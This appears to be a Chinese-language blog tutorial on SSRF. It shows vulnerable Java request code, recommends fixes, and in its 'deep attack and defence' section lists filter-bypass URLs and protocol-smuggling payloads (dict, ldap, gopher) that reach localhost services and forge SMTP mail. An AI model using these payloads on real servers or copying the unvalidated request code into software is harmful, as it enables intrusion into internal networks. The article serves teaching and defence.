0x00 概述
SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞
SSRF漏洞本身非常容易理解,也很容易形成,但是非常容易利用,非常容易用作内网盲打
简单概括就是形成简单危害大
0x01 漏洞简介
比如我们开发中常用的场景是,我们的页面中需要显示用户上传的图片,但是存图片的服务器和提供web请求的服务器不是同一台,Web请求的服务器存的数据是图片url,这个url传到了客户端
攻击者发现的这个url,比如url原本是http://image.oa.com/xxxxx
,攻击者改成了http://admin.oa.com
就请求了原本不该请求的页面
比如代码是这么写的
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
这里有两个问题
一个是URL没有经过任何的过滤,不仅仅是图片的请求,哪怕是ftp://file.oa.com
这样的ftp请求,只要HttpURLConnection这个类可以支持获取,就会产生漏洞,任意文件读取的漏洞
一个是返回的页面直接输出,在web服务中就是直接输出到返回给用户的页面中,可以让用户看到他原本权限不可以看到的信息,这个问题不是很重要,和SQL注入一样,即使没有回显也是可以利用的,但是有回显的话更好解释
其实这样就解释了SSRF漏洞,应该非常好理解,主要是它的利用场景很多,危害比较大
0x02 威胁场景
- 社交分享功能:评论中添加的URL会被加载,添加内网URL显示出来
- 网站采集:一些网站会针对你输入URL进行一些信息采集工作
- 富文本的图片加载 。。。。。
总之利用场景很多
在实际渗透中,我还见过有个接口是发送邮件的,原本接口指定邮件模版的路径,可以改成完整的localhost的URL,把整台服务器的文件都当作邮件发出去
0x03 修复方式
漏洞代码
首先我们要注意容易产生SSRF的代码
比如Java中有如下几种
HTTPURLConnection
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); // 发起请求,触发漏洞
URLConnection
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); // 发起请求,触发漏洞
ImageIO
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞
Request
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString(); // 发起请求,触发漏洞
URL
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream(); // 发起请求,触发漏洞
OkHttpClient
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute(); // 发起请求,触发漏洞
HttpClients
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); // 发起请求,触发漏洞
修复思路
我们首先知道漏洞本质是:内部的资源服务器过分信任web服务器的请求,web服务器过分信任用户传回的资源位置
也就是说防御要在内部资源服务器和内部web服务器两个地方做
我们首先看第一个
比如我们资源服务器给出的资源是图片,url是http://xx.xx.xx.xx/id
,理论上资源只对这个URL进行服务器,且id对应的user的权限要控制好
那这种情况下如果我们传入http://xx.xx.xx.xx/id?redirect=http://baidu.com
按照现今Web框架的设计,只要redirect这个参数不对是不会跳转的,但是要是对了呢,服务传回的VUE前端就是会跳转呢
上述的说明只是说明如果我们仅在内部资源服务器做限制,即使将资源和请求用户的鉴权做好,也是很难防御这个漏洞的,比如跳转的问题
而且内部资源众多,内网的防御建设往往跟不上,所以我们比较方便的还是在Web服务器进行信任控制
所以这时候我们要控制第二个关键点,也就是Web服务器过分信任用户传回的资源位置
首先,我们正常情况下一般不需要给客户端传完整的URL,我们也不能凭借客户端传回的URL进行请求目标的选择,比如图片url,不能依据用户传回的,而需要根据数据库里存的
这样防御了就可以防止大部分公司的SSRF问题了
但是,比如论坛文章中要展示用户输入的图片文件等,图片本身就可以是外部URL,这些场景总归是存在一些不得不引入URL的内容,让我们只能做限制,而不能完成掌控
这时候就需要做到
- 限制协议,一般为只能用HTTP、HTTPS
- 禁止页面跳转
- 设置URL白名单或者内网IP
- 限制请求的端口为固定的端口
- 限制请求的路径为固定的路径
从URL的协议、域名、端口和路径和参数都需要做限制
0x04 深入攻防
这节主要讲SSRF有了限制如何进行绕过
攻击本地
http://127.0.0.1:80
http://localhost:22
绕过domain限制
http://[::]:80
http://example.com@127.0.0.1
http://dwz.cn/11SMa
http://127.0.0.1.xip.io/
- 利用各种进制转换及编码
- 加上端口,有时候限制写的不完善,加上端口就绕过了IP匹配
各种绕过都和URL有关系,其实可以看看《Web之困》,脑子活的人可能马上能想到不少绕过
利用协议
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
0x05 总结
简单概括就是形成简单危害大
修复代码要想防御URL的方方面面考虑的点也比较多,建议有这种需求的时候先考虑一下构架是不是要这样会更方便
其实有时候就是程序员为了一时写的爽,结果修复火葬场